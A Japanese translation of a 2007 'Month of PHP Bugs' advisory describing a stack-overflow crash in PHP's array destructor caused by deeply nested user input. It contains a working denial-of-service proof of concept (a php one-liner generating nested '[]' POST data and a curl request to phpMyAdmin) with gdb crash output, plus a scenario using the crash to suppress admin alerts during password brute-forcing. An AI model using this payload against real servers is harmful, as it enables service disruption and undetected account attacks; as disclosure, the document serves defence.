MOPB-03-2007:PHP Variable Destructor Deep Recursion Stack Overflow

(Last Updated On: 2018年8月16日)

“the Month of PHP Bugs”をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser

■PoCまたは攻撃コード
不必要

■リファレンス
なし

■サマリ
MOPB初日最後の脆弱性は2つ目の脆弱性と似ています。このケースのバグはZendエンジンの変数解放における深い再帰呼び出しのバグです。ユーザ入力が反復的な手法でパースすると、非常にネストレベルが深い配列構造の作成を許してしまいます。PHPはこのような変数を再帰的に開放しようし、リモートからのクラッシュを許してしまいます。

■影響するバージョン
すべてのPHP

■詳細情報
PHPの一つの問題はネストした配列の深さの妥当性をチェックや制を設けていないことです。ユーザ入力変数の反復的な方法で登録され、memory_limitに達するまで処理されます。残念ながらPHP配列の解放は再帰的に行われています。このためPHPはスタックが限界に達するとクラッシュします。

攻撃者はこのPHPクラッシュを多かれ少なかれ制御した状態で利用できます。PHPをスクリプトの初期化時や終了時にクラッシュさせるのは非常に簡単です。(以下のデモコードを参照)このクラッシュはリクエストが記録されないなどの結果をもたらす可能性があります。(訳注:シャットダウン関数でログを記録している場合、PHPスクリプト中からのログが記録されない。)しかし、攻撃者にとってより興味深い事は、あるアクションを実行させ、別のアクションを実行する前にスクリプトを終了可能である事です。以下のPHPコードを想定してください。

  if (!checkUserPWD($user, $pass)) {
    $errmsg = "There is problem ...";
    displayError($errmsg);
    notifyAdminOfCrackAttempt();     
  } else {
    // do all the fun
  }

攻撃者はブルートフォース攻撃で別のユーザアカウントのパスワードを試している際に、システム管理者に何百万もの通知メールで知らせたくないかも知れません。攻撃対象サーバのregister_globalsが有効だと仮定します。’errmsg’と名付けた非常に深くネストした配列変数を送信します。ユーザ名とパスワードチェックに失敗した場合、PHPは$errmsg変数にメッセージを代入し、その結果ユーザ入力配列(訳注:$errmsg)が解放され、攻撃者は通知メールなしにブルートフォース攻撃が行えます。(訳注:多少わかりやすく意訳していますが、より詳しく説明すると、$errmsgに値を代入するとZendエンジンは次のバイトコードの実行時に解放可能なメモリの解放を試みます。つまり$errmsgに代入が発生することにより、配列に保存されたPHPをクラッシュさせる配列変数の解放が行われます。)クラッシュログは残りますがシステム管理者な何が原因でクラッシュが発生したのか分かりません。

memory_limitの値が小さい場合、この攻撃コードは失敗する場合があります。

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata
$ curl http://127.0.0.1/phpmyadmin/ -d @postdata
curl: (52) Empty reply from server

このリクエストを処理しているApacheのプロセスをgdbで見てみます。

$ gdb
(...)
(gdb) attach 12345
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211787584 (LWP 7069)]
0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so
(gdb) bt
#0  0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so
#1  0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/libphp5.so
#2  0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/libphp5.so
#3  0xb7928ee8 in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so
#4  0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/libphp5.so
#5  0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/libphp5.so
...
(gdb) x/5i $eip
0xb7928e2c :      call   0xb7704570 
0xb7928e31 :      add    $0x2aa7bb,%ebx
0xb7928e37 :      mov    0x20(%edx),%eax
0xb7928e3a :      mov    %eax,(%esp)
0xb7928e3d :      call   0xb7927d10 
(gdb) x/20x $esp-4
0xbf322ffc:     Cannot access memory at address 0xbf322ffc

バックトレースとレジスタから、PHPが関数呼び出しを行い、スタックポインタがページエラーでクラッシュを発生させるメモリアドレスを指していた事が解かります。

■PoC、攻撃コードまたは再現手順
詳細情報を参照。

■備考
PHP開発者はPHP配列の深さにハードリミットを設けたくないので、この脆弱性を回避する方法はSuhosin拡張モジュール(訳注:Hardened-PHPプロジェクトが公開しているセキュリティモジュール)を利用するかWebアプリケーションファイアーウォールが大量の”[“を含む変数を廃棄するよう設定する方法しかありません。

投稿者: yohgaki